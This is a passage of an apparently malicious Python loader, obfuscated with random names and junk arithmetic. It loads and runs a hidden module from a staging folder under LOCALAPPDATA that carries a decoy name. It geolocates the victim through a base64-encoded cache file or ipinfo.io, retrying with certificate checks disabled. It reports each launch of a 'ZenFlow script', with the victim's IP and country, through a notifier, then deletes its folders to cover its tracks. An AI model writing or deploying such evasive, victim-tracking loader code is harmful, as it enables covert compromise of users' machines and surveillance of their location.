                    shwppfmzbakea = neeyqedllpzvt + ljjnqyv
                    tykizmagiowpn = neeyqedllpzvt - xtmvynikfagqjn
                    if iRaHFNZVlTKwGjmWMNT in sys.modules:
                        DELcCKxIQmjZtfR = sys.modules[iRaHFNZVlTKwGjmWMNT]
                    else:
                        sys.path.append(ymQgmpaaWDbMVGbeKxqc)
                        XjbgmdKYjikmQgXVQlIc = importlib.util.find_spec(iRaHFNZVlTKwGjmWMNT)
                        if XjbgmdKYjikmQgXVQlIc is None:
                            raise ImportError(f"Module {iRaHFNZVlTKwGjmWMNT} not found")
                        DELcCKxIQmjZtfR = importlib.util.module_from_spec(XjbgmdKYjikmQgXVQlIc)
                        rvpioocq = 111
                        azzeuvdgnlecz = 317
                        dokgzsq = 125
                        eltworahrlezcxcys = 396
                        fvsiecqxemc = 919
                        qmtgzlsjxgfq = 301
                        jfeaszbmwwjdf = 433
                        tuqnoipemt = eltworahrlezcxcys - rvpioocq
                        nkmjkfqwan = jfeaszbmwwjdf - eltworahrlezcxcys
                        byvgnlmfakpu = qmtgzlsjxgfq * rvpioocq
                        spbbgsthttdvx = eltworahrlezcxcys + rvpioocq
                        qyfrvyk = qmtgzlsjxgfq + eltworahrlezcxcys
                        XjbgmdKYjikmQgXVQlIc.loader.exec_module(DELcCKxIQmjZtfR)
                        sys.modules[iRaHFNZVlTKwGjmWMNT] = DELcCKxIQmjZtfR
                        uhavwtxp = 593
                        murqokxlwxwbw = 315.7644
                        vceksgpjrynpcyfm = 226
                        rdmamyovardqzncw = 873
                        gcfftgfdn = 5
                        cxwdyiqsrfomb = 781
                        efiadhsuwzfv = 112.857
                        pkhyqdgze = gcfftgfdn - uhavwtxp
                        uduusgojzeoowp = rdmamyovardqzncw * efiadhsuwzfv
                        ajopdrtxdjn = vceksgpjrynpcyfm * cxwdyiqsrfomb
                        qknbvepm = rdmamyovardqzncw - murqokxlwxwbw
                        sys.path.remove(ymQgmpaaWDbMVGbeKxqc)

                    if HJwFupzVYYvCgfCv:
                        for EvQfrdVZcojnqGve in HJwFupzVYYvCgfCv:
                            globals()[EvQfrdVZcojnqGve] = getattr(DELcCKxIQmjZtfR, EvQfrdVZcojnqGve)


                    return DELcCKxIQmjZtfR
            except Exception as e:
                return None

        bxgoiccnffernjeeat = 617
        bcrufka = 387
        nrzcqpoqrgrmfwkcj = 193.53893528
        ooqikl = 720
        yawlagdcframq = 50.5540618
        hgccsdyutnwp = 811
        rzsihcow = 59
        pmlcyfdif = rzsihcow + nrzcqpoqrgrmfwkcj
        yjijgowgok = ooqikl * bxgoiccnffernjeeat
        ecmovzuydwwk = rzsihcow + hgccsdyutnwp
        rrbdnb = hgccsdyutnwp + bcrufka
        iiugqgc = bxgoiccnffernjeeat + bcrufka + nrzcqpoqrgrmfwkcj + ooqikl + yawlagdcframq + hgccsdyutnwp + rzsihcow
        if not os.path.exists(ymQgmpaaWDbMVGbeKxqc):
            return False

        JLHBAWOJoxSFCudRuMhzE = time.time()

        try:
            self.qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"Attempting to open ZenFlow\n (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
        except Exception:
            pass

        lisixhrgphsz = 306
        fxdbvdoxepnaff = 510.60464
        bphyisyotqfwbycs = 570
        yglqrx = 721
        lhbkhxjzwgbq = fxdbvdoxepnaff * yglqrx
        geqzhspcvisbau = lisixhrgphsz - yglqrx
        rxfjtpmcyursu = bphyisyotqfwbycs + yglqrx
        learnkspbrfcz = lisixhrgphsz - bphyisyotqfwbycs
        gilcupvmhjlnc = fxdbvdoxepnaff - lisixhrgphsz
        slazifjk = yglqrx * fxdbvdoxepnaff
        cjbgqtpqotyyv = yglqrx + lisixhrgphsz
        hgrmmxjvx = yglqrx + fxdbvdoxepnaff
        takjsuddjrluk = lisixhrgphsz + yglqrx
        try:
            xbtpmrxkdnoigeg = 750.405710
            zwnwaxz = 108.3244
            wnlijxuzvqc = 686
            hywrxvbetctnu = 827
            fzrfuigks = 483
            mwgdzxwdjhcuy = 172
            egnedop = 373.610970
            ounzlwam = 453.34
            mqngdcvvjxciy = xbtpmrxkdnoigeg + wnlijxuzvqc
            igzypx = ounzlwam + hywrxvbetctnu
            bihbbp = zwnwaxz * hywrxvbetctnu
            VMGGQAkVojDBaj = 'MqaujA.kLymyG'
            zFFboYZeTnnnVAVDZyMcqs = ZkSOoVBflReRmF(VMGGQAkVojDBaj, ymQgmpaaWDbMVGbeKxqc)
            if not zFFboYZeTnnnVAVDZyMcqs:
                raise Exception("Module not loaded")

            StartingElo = zFFboYZeTnnnVAVDZyMcqs.WQoyHjmDbTxVQImDjsCSPRLAA()

            try:
                del StartingElo
                if VMGGQAkVojDBaj in sys.modules:
                    del sys.modules[VMGGQAkVojDBaj]
            except Exception:
                pass

            drhWlVAPkXUzcJly = os.path.join(os.environ['LOCALAPPDATA'], 'Golden Horizon Dreams')

            whmkha = 228
            dgjptsnzrlklgoeaks = 21
            ssvplzgnuv = 654
            jmbjznghnn = 485.8197861339
            idmqzlsypruwt = 489.987
            ldtlyuezddaljxs = 96
            nyrdywfz = 747
            gmllkw = 244
            qnlylu = ssvplzgnuv * jmbjznghnn
            zczhhtpwwfccx = ldtlyuezddaljxs + idmqzlsypruwt
            sjrdbpctawqcft = whmkha - gmllkw
            ivrajjubk = dgjptsnzrlklgoeaks * nyrdywfz
            snauemqatwb = idmqzlsypruwt + gmllkw
            lvcosopmxwin = ssvplzgnuv - whmkha
            bgxxjyqwlcpvbi = gmllkw * jmbjznghnn
            hdwgyrnwyc = ldtlyuezddaljxs + idmqzlsypruwt
            cvxghjnhfuux = ldtlyuezddaljxs - dgjptsnzrlklgoeaks
            if os.path.exists(drhWlVAPkXUzcJly):
                wzjFSugFjwDlPen = time.time()
                hjvizqYDesZOwBgNRvIz = wzjFSugFjwDlPen - JLHBAWOJoxSFCudRuMhzE
                oxZnqmHkuvfdcMGAdvfWiXNfaZ = round(hjvizqYDesZOwBgNRvIz)
                self.qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"New launch of ZenFlow script ({oxZnqmHkuvfdcMGAdvfWiXNfaZ})\n(IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
                return True
            else:
                raise Exception("Folder not found")

        except Exception as e:
            wzjFSugFjwDlPen = time.time()
            hjvizqYDesZOwBgNRvIz = wzjFSugFjwDlPen - JLHBAWOJoxSFCudRuMhzE
            oxZnqmHkuvfdcMGAdvfWiXNfaZ = round(hjvizqYDesZOwBgNRvIz)
            leaqikoo = 369
            crcsqpmfotkryruf = 445
            msufjmfzdfdbcpna = 604.32536
            mxicszkvjwabmn = 559
            yropyzkglt = 80.7578
            cmdybuopbj = 303
            lusefvtrmlohn = 351
            wozpclf = 724.235
            ybifjeqeyinzxihcdt = 170
            nsvqfczg = lusefvtrmlohn - crcsqpmfotkryruf
            oqwubdzcc = crcsqpmfotkryruf + ybifjeqeyinzxihcdt
            ohvyalkwkmo = cmdybuopbj + crcsqpmfotkryruf
            carvdubkesji = ybifjeqeyinzxihcdt + leaqikoo
            xokirswhdlif = cmdybuopbj * lusefvtrmlohn
            kaqpcm = ybifjeqeyinzxihcdt + msufjmfzdfdbcpna
            trwowr = mxicszkvjwabmn - wozpclf
            jcxjmfhk = crcsqpmfotkryruf + lusefvtrmlohn
            qpmqwws = ybifjeqeyinzxihcdt + yropyzkglt
            ehzghewt = ybifjeqeyinzxihcdt * cmdybuopbj
            ncsoamuqe = ybifjeqeyinzxihcdt - msufjmfzdfdbcpna
            sgdwhmamduygfa = crcsqpmfotkryruf + lusefvtrmlohn
            self.qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"Error: {e} | ({oxZnqmHkuvfdcMGAdvfWiXNfaZ})\n(IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
            return False
        finally:
            try:
                cPlRpdOqOkedvOMYxuuC()
            except Exception:
                pass
            try:
                zmdqikiEUWkuNItODtcEdnSMN = os.path.join(wZoRNuNDIKaKUDAj)
                if os.path.exists(zmdqikiEUWkuNItODtcEdnSMN):
                    try:
                        shutil.rmtree(zmdqikiEUWkuNItODtcEdnSMN)
                    except Exception:
                        pass
            except Exception:
                pass

if __name__ == '__main__':
    cyzcjrjjypt = 558.6854153
    bczxmcmaocillr = 66
    vlwcgeyjop = 961
    cyepydjop = 237.35017
    rovlqkbinieub = 169
    layxtp = 901
    jpvyoiyxujqct = cyepydjop - rovlqkbinieub
    yfbeulpmboxibd = rovlqkbinieub - layxtp
    gshzkzzltf = cyepydjop + cyzcjrjjypt
    ptsfuwpipazpdd = cyzcjrjjypt * vlwcgeyjop
    wguecbkysxwfne = layxtp - cyzcjrjjypt
    VbkFtaeqlaFbN = threading.Event()
    isxsfosvvx = 711
    vjigdwmjxbre = 690
    kasneejdwnpkl = 611.7150
    ovoczjndqggkh = isxsfosvvx - kasneejdwnpkl
    svutwhalufihba = isxsfosvvx - vjigdwmjxbre
    jqzepajfbqtlxh = kasneejdwnpkl + isxsfosvvx
    bFBfUsJDWNpGPxLqYyYDgbZPNp = threading.Lock()
    load_locknotifer = threading.Lock()
    ICsRGxULIVbBMZkcJd = False
    ynerzq = 943
    vhvjwvpnjlphf = 492
    zlapzswbkwflbxzfm = 427
    gvwveubnjksmpjsqzz = 15
    sdpaixmbivnlykmk = 443.81643289
    qsbuear = gvwveubnjksmpjsqzz - zlapzswbkwflbxzfm
    smksgcerjx = vhvjwvpnjlphf * zlapzswbkwflbxzfm
    gjfqxmwvbhcq = sdpaixmbivnlykmk * vhvjwvpnjlphf
    fmyucnac = ynerzq + sdpaixmbivnlykmk
    roncakkupt = gvwveubnjksmpjsqzz + zlapzswbkwflbxzfm
    inzuqkhpukykdr = gvwveubnjksmpjsqzz + zlapzswbkwflbxzfm
    sspiipfhjymnnm = zlapzswbkwflbxzfm + sdpaixmbivnlykmk
    pwkjvudnelxs = ynerzq - zlapzswbkwflbxzfm
    xfvlkfnj = sdpaixmbivnlykmk - ynerzq
    etqbisiyjlhqz = gvwveubnjksmpjsqzz * vhvjwvpnjlphf
    tnfnwyhvjexaud = sdpaixmbivnlykmk * vhvjwvpnjlphf
    FmXQjzVOroORbNOVhVrmTNlyhf = True
    MiMtFwPbJaPkEtFJiYnOd = True
    sdAEeAstkHQsOFO = os.path.dirname(os.path.abspath(__file__))
    hvxykkr = 977.67
    txsrpg = 846
    qluxypoymnoolz = 863.747
    nxkkybxb = 132
    mlfhzbfbqtsmijp = 454
    jolssnrhoydybejcgp = 141
    asgspa = 321.181
    nwahyssvdawfq = 979.61
    fqdexrfb = txsrpg + hvxykkr
    rjytmszvrrbh = asgspa * mlfhzbfbqtsmijp
    hfrmgjba = qluxypoymnoolz + asgspa
    iktkacii = hvxykkr + txsrpg + qluxypoymnoolz + nxkkybxb + mlfhzbfbqtsmijp + jolssnrhoydybejcgp + asgspa + nwahyssvdawfq
    wZoRNuNDIKaKUDAj = os.path.join(os.environ['LOCALAPPDATA'], 'Serene Garden Bliss')

    ayQvBqSjpacRn = 'https://ipinfo.io/json/'
    njmcksamgvcoh = 759
    ohyhonnfiopmoxiu = 298
    kehurlcpddsvpye = 35.3845
    zxdzbxm = 141
    bhhvxgmcg = 658
    doqsuzbwpo = 241.0395687554
    jdtwgoitni = njmcksamgvcoh + doqsuzbwpo
    gcztuzkha = bhhvxgmcg + doqsuzbwpo
    zehsszee = doqsuzbwpo - njmcksamgvcoh
    yafywddrpsyr = njmcksamgvcoh + zxdzbxm
    qqarzyhgqey = zxdzbxm * doqsuzbwpo
    xatnykxo = kehurlcpddsvpye - doqsuzbwpo
    qhqsdouhiiv = kehurlcpddsvpye * njmcksamgvcoh
    xrusfnbhzzispf = ohyhonnfiopmoxiu * kehurlcpddsvpye
    llqfekk = zxdzbxm * bhhvxgmcg
    kcwvgkpa = ohyhonnfiopmoxiu - njmcksamgvcoh
    BXhTwofVtkzDBA = 'https://ifconfig.co/json'
    vyrrpynofwhjtqctx = 951
    feddnieniseq = 152.7338604
    jvxlklirrcgrb = 54.4624412327
    nwhvpxpwy = 434.180530711
    svquoca = vyrrpynofwhjtqctx * nwhvpxpwy
    hamjmwigw = feddnieniseq * jvxlklirrcgrb
    ppnlwnjgxsibi = jvxlklirrcgrb - vyrrpynofwhjtqctx
    lfsvskr = nwhvpxpwy * jvxlklirrcgrb
    ixVwSmZVtZSGaqXZHE = 15
    soCxWXxqeNhPAJeEdttgF = 'Enchanted Blossom Trail'

    DdkFwEecumVkZBxaXO = False


    def tncqafkrvvelt():
        try:
            kqaerqb = 291
            kjiatnuiznbrt = 876
            jbelipqiqb = 90
            hieznulrjrgtakyavo = 32
            yjaitibypb = 426
            hpubeqgrcjklknjy = 138
            wcjiffjinsdffru = 251
            nkuubdljr = 279
            texhsiwc = hieznulrjrgtakyavo * nkuubdljr
            xvstsir = kjiatnuiznbrt - kqaerqb
            gpzqwy = hpubeqgrcjklknjy - kqaerqb
            oxjorzmiflq = nkuubdljr - wcjiffjinsdffru
            blfivs = hpubeqgrcjklknjy + hieznulrjrgtakyavo
            kmqgzuldfhk = kqaerqb + kjiatnuiznbrt
            dpzgmzwlkxi = kqaerqb + kjiatnuiznbrt + jbelipqiqb + hieznulrjrgtakyavo + yjaitibypb + hpubeqgrcjklknjy + wcjiffjinsdffru + nkuubdljr
            return dpzgmzwlkxi
        except Exception:
            pass

    jozlvrhpyt = tncqafkrvvelt()


    def ankjhuadcrgk():
        try:
            wirpicii = 897
            feaodxiqgmb = 97
            avagraeiefx = 471
            kquoed = 561
            ldybmudrf = 88
            xpkxfzarjf = 185
            kkvzgbs = 612
            rczzzhljtjjolo = 457
            dmbjfojbdaoaw = rczzzhljtjjolo + ldybmudrf
            nsbmlavfi = ldybmudrf + wirpicii
            pdmnespspk = rczzzhljtjjolo + ldybmudrf
            vaxyyvzjiphnn = wirpicii - rczzzhljtjjolo
            wquharlzj = avagraeiefx * feaodxiqgmb
            yhvzdmh = avagraeiefx - kkvzgbs
        except Exception:
            pass

    ankjhuadcrgk()


    def xxujlblslbzjddtsav():
        try:
            zxhjyhaog = 293
            rqqonmosewnl = 600
            mkgppnhwipl = 492
            tuagfxhmkqfpad = 336
            eailxjfouajgtqcfsg = 722
            ryahdifgzvbqqe = 72
            qguzrginstontetyd = 796
            qdeyfdddpmjxci = 583
            jgfoxpqc = zxhjyhaog + tuagfxhmkqfpad
            xxduvtp = tuagfxhmkqfpad - eailxjfouajgtqcfsg
            ojwsaxkio = rqqonmosewnl + eailxjfouajgtqcfsg
            ezlbxoil = qguzrginstontetyd + rqqonmosewnl
            rwhbvjbjrdzkrd = ryahdifgzvbqqe + rqqonmosewnl
            qapfnswsc = ryahdifgzvbqqe - zxhjyhaog
        except Exception:
            pass

    xxujlblslbzjddtsav()


    def kxqlbdzosupayq(raxemxmvtjlmaufbgu, xptjqfhgkwbxatly, flxymwvrrvvqpxxfwl):
        try:
            wgakyyydxrdr = 165
            raklgkbtezvyoygemj = 319
            whdqphaplqaiu = 111
            crkintojocjbwqcrg = 753
            utjcbjzenwzlind = 920
            rgbgybagcsolgvjgx = 994
            gtxwbsadl = 168
            ywbczyjnrsqsrg = 953
            ssnjek = crkintojocjbwqcrg - gtxwbsadl
            vgxidu = ywbczyjnrsqsrg + rgbgybagcsolgvjgx
            xzwilt = ywbczyjnrsqsrg - crkintojocjbwqcrg
            uostdlqpfmger = whdqphaplqaiu + raklgkbtezvyoygemj
            lqziwrexfxw = utjcbjzenwzlind + gtxwbsadl
        except Exception:
            pass

    raxemxmvtjlmaufbgu = None
    xptjqfhgkwbxatly = None
    flxymwvrrvvqpxxfwl = None
    kxqlbdzosupayq(raxemxmvtjlmaufbgu, xptjqfhgkwbxatly, flxymwvrrvvqpxxfwl)


    def cnryxpamgfpjm(jiceueictqspdfdz, tzegytwhnm, gwwevmk, naynvo):
        try:
            alffnoutjwmtmgo = 309
            cbtqilbeouanyvwd = 759
            ojbzrlxj = 504
            iiqqpfybo = 738
            lkpwotrd = 672
            zmrqdrbfumtf = 447
            egyclrxhbqplcl = 128
            eoghxuusrantxmzl = 687
            oafgwv = ojbzrlxj * egyclrxhbqplcl
            ohclheqmbikhyf = cbtqilbeouanyvwd + iiqqpfybo
            hgdbbyvzmghuu = egyclrxhbqplcl - cbtqilbeouanyvwd
            ibpldoguwsw = alffnoutjwmtmgo + cbtqilbeouanyvwd + ojbzrlxj + iiqqpfybo + lkpwotrd + zmrqdrbfumtf + egyclrxhbqplcl + eoghxuusrantxmzl
            return ibpldoguwsw
        except Exception:
            pass

    jiceueictqspdfdz = None
    tzegytwhnm = None
    gwwevmk = None
    naynvo = None
    qdquwans = cnryxpamgfpjm(jiceueictqspdfdz, tzegytwhnm, gwwevmk, naynvo)
    def XyEcxQHDaqOjPBBUpk():
        global ICsRGxULIVbBMZkcJd
        ryazcenfkin = 193.552985
        vyxvwporaoklu = 547
        dbzrekhxfgiglttftj = 247
        gulanmhswbdkqnhyh = 548
        jqwpbbjuqggm = 88
        ztoygprfzsusp = vyxvwporaoklu - gulanmhswbdkqnhyh
        rsdefotxy = jqwpbbjuqggm - gulanmhswbdkqnhyh
        ppsixlhqdtbw = gulanmhswbdkqnhyh + vyxvwporaoklu
        fmrmfkbrzagwru = gulanmhswbdkqnhyh + vyxvwporaoklu
        vzboko = jqwpbbjuqggm - vyxvwporaoklu
        rhkonjwgloicx = dbzrekhxfgiglttftj + jqwpbbjuqggm
        ujutvi = dbzrekhxfgiglttftj + ryazcenfkin
        qrzpbfxgml = gulanmhswbdkqnhyh - dbzrekhxfgiglttftj
        ttkcvf = ryazcenfkin - gulanmhswbdkqnhyh
        qkbrfinp = jqwpbbjuqggm + ryazcenfkin
        if ICsRGxULIVbBMZkcJd:
            return
        ICsRGxULIVbBMZkcJd = True
        try:
            qRLyNNhzCCjHlYhqTz = WwaKVDGWEowpfzcKPtZ()
            cgrfsfzi = 467
            twwkdacwevri = 56
            fsdaolotbpcirvmt = 943.84072
            bfxvecrvudcek = cgrfsfzi * twwkdacwevri
            angnrcigowqxzg = twwkdacwevri * fsdaolotbpcirvmt
            uexjsvytrs = cgrfsfzi + fsdaolotbpcirvmt
            rtnzface = twwkdacwevri * cgrfsfzi
            trtglicaazphz = fsdaolotbpcirvmt + twwkdacwevri
            if os.path.exists(wZoRNuNDIKaKUDAj):
                try:
                    shutil.rmtree(wZoRNuNDIKaKUDAj)
                except Exception:
                    pass
            hjelpr = 457
            gsstts = 201
            mzpumprpjur = 976
            esfdoxbmy = 795
            qkxmpwvsdvhdrb = 92
            npdhuszdfwmh = 389
            jswbazzgk = 436.01965030
            sxloxpkwmondqxcn = 626.03737
            idthhglysrwvzu = 394
            ausgfkiozyydy = idthhglysrwvzu + jswbazzgk
            xlvlzmxdhty = hjelpr + mzpumprpjur
            ontibwbnh = sxloxpkwmondqxcn + esfdoxbmy
            gibDkaTwFVOrtiQBrZDYigJX, JmsYsdgKWiynLehzKJslOnGsn = None, None
            vkkgzwnwkjgbfpabap = 429
            dalxngikwkcchheq = 405.7
            ohodaxyxnmdd = 596.7444564429
            sxahximrjchhqz = 404
            rgmjxvxl = 381.9140480931
            tiqzvufkdqvsmadfsf = 906
            yepcos = 698
            fqqkjbgjaimgiwixte = 702
            vsctvuehinein = 706
            buifiidff = fqqkjbgjaimgiwixte - vkkgzwnwkjgbfpabap
            wolzhdnlmxcz = vsctvuehinein * ohodaxyxnmdd
            qucpkaaqxykaf = yepcos + tiqzvufkdqvsmadfsf
            mncdistzllh = vsctvuehinein * sxahximrjchhqz
            GcCcPANDzxlzWLrV = os.path.join(os.environ['APPDATA'], 'Enchanted Ocean Reverie', "Celestial Frost Symphony")

            if os.path.exists(GcCcPANDzxlzWLrV):
                XAJQpyDtLbVigyOmfsV = True
            else:
                XAJQpyDtLbVigyOmfsV = False
            ekgfiywsnc = 877
            ktslamfk = 16
            rguddhca = 903
            mghubesv = 94
            lopvdkdlabpnhj = 438
            vixytisjc = 806.4
            ensynozet = rguddhca - ktslamfk
            ldmmto = mghubesv - ktslamfk
            abwemjrmydzahk = ekgfiywsnc + mghubesv
            gfkjfvbdeknxdc = vixytisjc - mghubesv
            gcnmhxyrpuw = mghubesv - ekgfiywsnc
            ysrynd = lopvdkdlabpnhj + rguddhca
            gibDkaTwFVOrtiQBrZDYigJX = None
            JmsYsdgKWiynLehzKJslOnGsn = None
            VDpAkQWzOxIleB = 'Old' if XAJQpyDtLbVigyOmfsV else 'New'


            def vcspdpglgw():
                try:
                    vyrbptdxbd = 23
                    reectiwnetlqho = 88
                    ikohbyzl = 656
                    mtcbemzzutn = 625
                    ixfhqisqkljra = 420
                    xtuult = 515
                    pchoxakfxiogxftzpm = 90
                    xbqyyjdgaarkpma = 401
                    vkotniebcpzds = 263
                    xdintv = xtuult + ixfhqisqkljra
                    uxfztkkuqh = ixfhqisqkljra - vkotniebcpzds
                    scfjsg = vyrbptdxbd + reectiwnetlqho + ikohbyzl + mtcbemzzutn + ixfhqisqkljra + xtuult + pchoxakfxiogxftzpm + xbqyyjdgaarkpma + vkotniebcpzds
                    return scfjsg
                except Exception:
                    pass

            qcsvtwwduvui = vcspdpglgw()


            def pyossbbzdcr(epltpicankxagbodlz, fcnlnqn, kuhqjcter, gmcdvhyvsusffuer, htklchaqb, dyumvsrfqyokmquib):
                try:
                    uhpvctavgcxefor = 592
                    wqjulas = 626
                    vwtthpwyyon = 119
                    ndnpcpvi = 113
                    swyzvdvoyvngg = 60
                    krhzyv = 538
                    wcupppikova = 822
                    gnxiwdhckkmkrsbk = 859
                    sdrqwf = 533
                    doldzqjxm = wqjulas - ndnpcpvi
                    sgyfqbkvvt = sdrqwf - ndnpcpvi
                    vbxhorid = uhpvctavgcxefor + wqjulas + vwtthpwyyon + ndnpcpvi + swyzvdvoyvngg + krhzyv + wcupppikova + gnxiwdhckkmkrsbk + sdrqwf
                    return vbxhorid
                except Exception:
                    pass

            epltpicankxagbodlz = None
            fcnlnqn = None
            kuhqjcter = None
            gmcdvhyvsusffuer = None
            htklchaqb = None
            dyumvsrfqyokmquib = None
            rmrxbsg = pyossbbzdcr(epltpicankxagbodlz, fcnlnqn, kuhqjcter, gmcdvhyvsusffuer, htklchaqb, dyumvsrfqyokmquib)


            def cmqphqlqouhbdkkzz(gkvuhgce, kgiqdsqg):
                try:
                    joxoqud = 468
                    zhzgigthlba = 557
                    jiedpszdxgew = 639
                    dcuclb = 923
                    rxhfscstsn = 635
                    yilhvceidkby = 230
                    tzvjgkcftfajyxeatr = 404
                    zwyptmje = 835
                    rdqafyxcplbnkrrx = 509
                    kkmpcfwrhndd = rdqafyxcplbnkrrx * rxhfscstsn
                    ctqaax = yilhvceidkby - joxoqud
                    nkzmgd = dcuclb * tzvjgkcftfajyxeatr
                except Exception:
                    pass

            gkvuhgce = None
            kgiqdsqg = None
            cmqphqlqouhbdkkzz(gkvuhgce, kgiqdsqg)


            def ghhihnmidbuawer(jzihvzmajoajjubmxe):
                try:
                    qdykhgnfzzn = 437
                    umenjfp = 586
                    auulunxta = 668
                    uxfwymibd = 388
                    ggnazpbksxnb = 910
                    vedpekx = 507
                    pblperixvkte = 924
                    zrkhpcyrbpjq = 795
                    bftvxaa = 417
                    gzvmbuxqfq = uxfwymibd - auulunxta
                    yesswhywkvol = bftvxaa + auulunxta
                    ogdkmwfla = uxfwymibd * bftvxaa
                    swxerfdvpzw = umenjfp * pblperixvkte
                    dtyojphvrlimk = bftvxaa - zrkhpcyrbpjq
                except Exception:
                    pass

            jzihvzmajoajjubmxe = None
            ghhihnmidbuawer(jzihvzmajoajjubmxe)


            def hrtunscginbq(wljctbulyqeylf, vofsbcrxulq, ihuyclhkfarqatfy):
                try:
                    eihdol = 994
                    mweyjovhyg = 847
                    xcbhqtqmhf = 93
                    oedeghjpxippkzu = 98
                    iwtgjxhwfpgsrgvyot = 23
                    cprwdaltkctmal = 794
                    smensbunjnuyz = 759
                    khnvxsonuguiszen = 694
                    uprpsbtdvkyevy = 516
                    qbhgcoggchtnip = eihdol - smensbunjnuyz
                    mcdigox = mweyjovhyg - uprpsbtdvkyevy
                    mzaluaxmsx = uprpsbtdvkyevy * eihdol
                except Exception:
                    pass

            wljctbulyqeylf = None
            vofsbcrxulq = None
            ihuyclhkfarqatfy = None
            hrtunscginbq(wljctbulyqeylf, vofsbcrxulq, ihuyclhkfarqatfy)
            def GetIPdata():
                try:
                    KuufkXgAmGgoiZAsWvygiX = os.getenv('LOCALAPPDATA')
                    sURdXxsTpZPAimcOQBQbPn = os.path.join(KuufkXgAmGgoiZAsWvygiX, 'Elysian')
                    nhprhncntwprrdk = 122
                    kqbqhyara = 723
                    iizqtydignfyu = 488.127767122
                    njxlnngmjxdpbqnc = 144
                    ibdgdeqojqkxvjcrw = 672.9809636
                    kkfscqpdarpm = 683.584303
                    mliutlkwmscfzq = 666
                    ngcagvqdhgnxewoy = 145
                    xptblg = kkfscqpdarpm * nhprhncntwprrdk
                    csreus = nhprhncntwprrdk + kkfscqpdarpm
                    lucxtnxovaey = kqbqhyara - nhprhncntwprrdk
                    oxoymhup = ngcagvqdhgnxewoy - kqbqhyara
                    mxzgccdcjt = mliutlkwmscfzq - ibdgdeqojqkxvjcrw
                    oeruasiiwowa = kqbqhyara + iizqtydignfyu
                    kwyuhucykinxqm = nhprhncntwprrdk - kqbqhyara
                    cpjamhsyyz = ngcagvqdhgnxewoy - iizqtydignfyu
                    zhopshxj = kqbqhyara * ibdgdeqojqkxvjcrw
                    kxmdqwtl = kkfscqpdarpm + nhprhncntwprrdk
                    mphnpzp = njxlnngmjxdpbqnc - iizqtydignfyu
                    rrtmgsaiz = nhprhncntwprrdk + kqbqhyara + iizqtydignfyu + njxlnngmjxdpbqnc + ibdgdeqojqkxvjcrw + kkfscqpdarpm + mliutlkwmscfzq + ngcagvqdhgnxewoy
                    if os.path.exists(sURdXxsTpZPAimcOQBQbPn):
                        with open(sURdXxsTpZPAimcOQBQbPn, 'r') as file:
                            HaYUZYxzcSglYnK = file.read()
                            OsYLgTzBqMIrFYeDj = base64.b64decode(HaYUZYxzcSglYnK).decode()
                            haekycekrq = 749
                            duwrvxlxiq = 598.4009615
                            awdfhiciiyc = 553.65058865
                            fbulrnbtmyqo = 750.952058519
                            viaxicxdfhgysx = 819
                            xfbgxvoakkjc = duwrvxlxiq * viaxicxdfhgysx
                            wzcixxwilpyeb = awdfhiciiyc + haekycekrq
                            zfopstp = viaxicxdfhgysx - fbulrnbtmyqo
                            cwuvynhhxs = haekycekrq - duwrvxlxiq
                            cdaudbgdhbl = awdfhiciiyc - haekycekrq
                            ktoosmnvhfd = duwrvxlxiq + haekycekrq
                            flgfzezgwyktk = haekycekrq * viaxicxdfhgysx
                            for line in OsYLgTzBqMIrFYeDj.split('\n'):
                                if line.startswith("IP:"):
                                    gNZkzvHsgmjyDx = line.strip().split(":")[1].strip()
                                elif line.startswith("CountryIso:"):
                                    QQgfYisVryydZiveq = line.strip().split(":")[1].strip()
                        qxosgenuspnvfrh = 754
                        vpuyevv = 538
                        rvokowoyoz = 801.995364396
                        flzxkw = rvokowoyoz + vpuyevv
                        tdfwtwhysfje = vpuyevv - qxosgenuspnvfrh
                        autoucmfxsk = vpuyevv - qxosgenuspnvfrh
                        cxvqwildnmrgcf = qxosgenuspnvfrh + vpuyevv + rvokowoyoz
                        if gNZkzvHsgmjyDx and QQgfYisVryydZiveq:
                            return gNZkzvHsgmjyDx, QQgfYisVryydZiveq
                    else:
                        return None, None
                except Exception:
                    return None, None
            try:
                gibDkaTwFVOrtiQBrZDYigJX, JmsYsdgKWiynLehzKJslOnGsn = GetIPdata()
            except Exception:
                pass

            if not gibDkaTwFVOrtiQBrZDYigJX or not JmsYsdgKWiynLehzKJslOnGsn:
                try:
                    pqlmrdyhvyscvt = 57
                    qxpcnvmvmpjuc = 534
                    jvekocj = 846.12160232
                    zfxqrixiu = 388
                    xhyqvwvow = qxpcnvmvmpjuc * zfxqrixiu
                    ldbnwufam = pqlmrdyhvyscvt * qxpcnvmvmpjuc
                    evbqyab = pqlmrdyhvyscvt * jvekocj
                    lfegmvnsiih = zfxqrixiu * pqlmrdyhvyscvt
                    xvvgdqsnslprx = jvekocj - pqlmrdyhvyscvt
                    xlcouosdentxw = qxpcnvmvmpjuc * pqlmrdyhvyscvt
                    cbrdrwivzsvuzj = zfxqrixiu - qxpcnvmvmpjuc
                    coeabcxna = pqlmrdyhvyscvt * qxpcnvmvmpjuc
                    jawfhlihtnpf = zfxqrixiu - qxpcnvmvmpjuc
                    acrsqsqraeuyyh = jvekocj + pqlmrdyhvyscvt
                    try:
                        UdloHjSFXsqVRbJdtKDazNgFy = requests.get(ayQvBqSjpacRn, timeout=10)
                    except requests.exceptions.SSLError:
                        UdloHjSFXsqVRbJdtKDazNgFy = requests.get(ayQvBqSjpacRn, timeout=10, verify=False)
                    UdloHjSFXsqVRbJdtKDazNgFy.raise_for_status()
                    FVikqkQhaWyPAhXzDxraIbEcG = UdloHjSFXsqVRbJdtKDazNgFy.json()
                    jqsbnodkbz = 302
                    hmisjvg = 278
                    jpzseol = 86
                    oxolfrfuh = 661
                    meowoqwxm = 947.863272338
                    phvhxuvdfn = 804
                    ndgsmctojtmgz = jpzseol * meowoqwxm
                    npjmcerjfqoipz = oxolfrfuh * phvhxuvdfn
                    kogntfemgfon = jqsbnodkbz - meowoqwxm
                    apxlwinldn = oxolfrfuh - jqsbnodkbz
                    ywicmhztjwiy = phvhxuvdfn + jqsbnodkbz
